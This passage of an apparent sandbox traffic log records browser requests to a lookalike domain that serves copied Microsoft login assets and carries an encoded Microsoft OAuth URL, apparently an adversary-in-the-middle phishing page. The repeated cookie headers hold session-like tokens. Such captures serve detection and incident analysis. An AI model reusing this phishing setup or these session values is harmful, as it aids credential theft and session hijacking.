sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv8; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8DVO5JEAlIBf1bEL79vRWgj5g8g0xL0BOYUVc8qCC-DH2Ns4vn-TbExgmXr7
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv8; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8DVO5JEAlIBf1bEL79vRWgj5g8g0xL0BOYUVc8qCC-DH2Ns4vn-TbExgmXr7FjOq8FGIRA0BWlQLNCDmMP1MMbh3MIIlvzGMP1DkEpylUGgcFoimhg6YGTXAwfKIjIEO-LXnny-ojEG00ryXdYJdlgVv5uLutPJUGeMC1Bi5mKNkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_0lriinjhzchre9aqecvmpg2.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ihvnbhbvhbasdjbhjvbfh.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; 